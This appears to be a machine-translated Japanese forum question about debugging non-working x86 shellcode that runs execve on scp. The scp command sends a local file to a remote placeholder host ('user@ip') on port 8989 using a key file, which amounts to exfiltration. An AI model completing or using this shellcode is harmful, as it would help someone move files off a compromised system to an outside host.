を実行するシェルコードを書きたいですsys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)。
これは完全なコマンドです:
scp -i /tmp/file -P 8989 /path/file user@ip:/home/user
問題は、多くの登録が必要なことです (scp の後に 6 つのトークンがあります)。
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push /tmp/file
???
push edx
push -i
???
push edx
push /usr/bin/scp
mov ebx,esp
私はこのようにレジスタをプッシュしようとしました:
cdq
push edx
push user@ip:/home/user
mov edi,esp
push edx
push /path/file
mov esi,esp
push edx
push 8989
mov ecx,esp
push edx
push -P
mov eax,esp
push edx
push edi
push esi
push ecx
push eax
mov ecx,esp
push edx
push /tmp/file
mov edi,esp
push edx
push -i
mov esi,esp
push edx
push /usr/bin/scp
mov ebx,esp
push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp
int 0x80
しかし、gdb と libemu を使用すると、ガベージ バイトしか生成されないことがわかりました。
この問題を解決する方法についてのヒントはありますか?